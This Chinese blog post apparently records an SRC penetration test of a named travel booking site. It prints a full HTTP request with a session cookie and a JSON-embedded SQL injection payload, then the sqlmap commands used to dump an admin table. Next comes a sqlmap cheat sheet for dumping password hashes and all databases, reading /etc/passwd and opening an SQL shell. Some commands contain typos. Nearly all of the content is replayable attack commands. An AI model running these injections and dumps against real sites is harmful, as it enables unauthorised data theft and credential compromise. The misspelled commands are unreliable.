目录

Fragrans 的个人博客

记录精彩的程序人生

某旅天下sql注入

1、SQLmap注入json格式数据

在对一个公益SRC的网站进行渗透测试,使用XRAY工具检测,发现存在SQL注入,注入点为uid。

如下,对该处sql注入进行验证。

抓包查看时发现数据格式为json格式。当注入点在json格式数据中时,sqlmap 无法识别,导致找不到注入点,使用-p指定参数又不好指定json格式中的字段,这个时候就需要人工修改一下注入的json数据,将注入点的参数前面加*。如下图:

image.png

将修改后的请求包放到sqlmap中,对uid参数进行注入。

完整请求包如下


POST /service/GetBean.aspx HTTP/1.1

Host: pre.dev.tripg.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0

Content-Length: 240

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.9

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Cookie: ASP.NET_SessionId=yfftt2ou3wqdkocpd5ud4edc; agent_session=UserSessionUUID=yfftt2ou3wqdkocpd5ud4edc

Origin: http://127.0.0.1

Referer: http://pre.dev.tripg.com/web/page/login.html

X-Requested-With: XMLHttpRequest

Accept-Encoding: gzip


condition=%7B%22type%22%3A%22fingerprint%22%2C%22uid*%22%3A%221126002717%27and%2F%2A%2A%2Fextractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281504882397%29%29%29and%27%22%2C%22useragent%22%3A%22chrome%2F89.0.4389.72%22%7D&tableName=sys_devices

1)执行Sqlmap命令:python.exe .\sqlmap.py -r .\1.txt -p uid --batch,结果显示uid存在sql注入。

image.png

  1. 判断当前用户是否是dba:

python.exe .\sqlmap.py -r .\1.txt -p uid --batch --is-dba

image.png

  1. --dbs可以利用的数据库:

python.exe .\sqlmap.py -r .\1.txt -p uid --batch --dbs

4.png
4.png

  1. 列举数据库的表名:

python.exe .\sqlmap.py -r .\1.txt -p uid --batch -D -table admin_contorl

  1. 获取表中的数据,包含列 :

python.exe .\sqlmap.py -r .\1.txt -p uid --batch --dump -T "tr_admin" -D "tripg"

5.png

2、SqlMap之数据库操作语句总结

SQLMAP是一款开源的渗透测试程序,它可以自动探测和利用SQL注入漏洞来获得我们想要的数据。我们可以利用它执行特定的命令、查看文件、获取各种数据;当然,最猥琐的是它利用注入点拖库的速率还是灰常让人满意的。

#> ./sqlmap.py -u “注入地址” -v 1 --dbs // 列举数据库

#> ./sqlmap.py -u “注入地址” -v 1 --current-db // 当前数据库

#>./sqlmap.py -u “注入地址” -v 1 --users // 列数据库用户

#> ./sqlmap.py -u “注入地址” -v 1 --current-user // 当前用户

#> ./sqlmap.py -u “注入地址” -v 1 --tables -D “数据库” // 列举数据库的表名

#> ./sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库” // 获取表的列名

#>./sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列

已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、

MySQL数据库举例:

  1. 判断当前用户是否是dba

    python sqlmap.py -u "url" --is-dba -v 1

  2. --users:列出数据库管理系统用户

    python sqlmap.py -u "url" --users -v 0

  3. --passwords:数据库用户密码(hash)

    python sqlmap.py -u "url" --passwords -v 0

    python sqlmap.py -u "url" --passwords -U sa -v 0

  4. 查看用户权限

    python sqlmap.py -u "url" --privileges -v 0

    python sqlmap.py -u "url" --privileges -U postgres -v 0

  5. --dbs可以利用的数据库

    python sqlmap.py -u "url" --dbs -v 0

  6. --tables列数据库表

    python sqlmap.py -u "url" --tables -D "information_scheam"

    -D:指定数据名称

  7. --columns 列出表中的列名

    python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1

    -T:指定表名,-D:指定库名

  8. --dump列表中指定列的内容

    python sqlmap.py -u "url" --dump -T "users" -D "testdb"

    -C:可以指定字段

    指定列的范围为2到4

python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0

  1. --dumap-all列出所有数据库,所有表内容

    python sqlmap.py -u "url" --dump-all -v 0

    只列出用户自己新建的数据库和表的内容

    python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0

  2. --file读取文件内容[load_file()函数]

    python sqlmap.py -u "url" --file /etc/password

  3. 执行SQL

    python sqlmap.py -u "url" --sql-shell

  4. -p 指定参数

    python sqlmap.py -u "url" -v 1 -p "id"

    -p可以指定多参数-p "cat,id"

  5. POST提交

    python sqlmap.py -u "url" --method POST --data "id=1"

  6. COOKIE提交

    python sqlmap.py -u "url" --cookie "id=1" -v 1

    cookie值可以由TamperData抓取

  7. refer欺骗

    python sqlmap.py -u "url" --refer "url" -v 3

  8. 使用自定义user-agent或者user-agents.txt

    python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

    python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"

  9. 使用多线程猜解

    python sqlmap.py -u "url" -v 1 --current-user --threads 3

  10. 指定数据库,绕过SQLMAP的自动检测

    python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"

  11. 指定操作系统绕过SQLMAP自动检测

    python sqlmap.py -u "url" -v 2 --os "Windows"

  12. --prefix and --postfix自定义payload

    python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"

  13. union注入测试

    python sqlmap.py -u "url" --union-test -v -1

  14. 配合order by

    python sqlmap.py -u "url" --union-test --union-tech orderby -v 1

  15. python sqlmap.py -u "url" -v 1 --union-use --banner

  16. python sqlmap.py -u "url" -v 5 --union-use --current-user

  17. python sqlmap.py -u "url" -v 1 --union-use --dbs


标题:某旅天下sql注入
作者:Fragrans
地址:http://gsolo.xhtk.top/articles/2021/09/16/1631777094282.html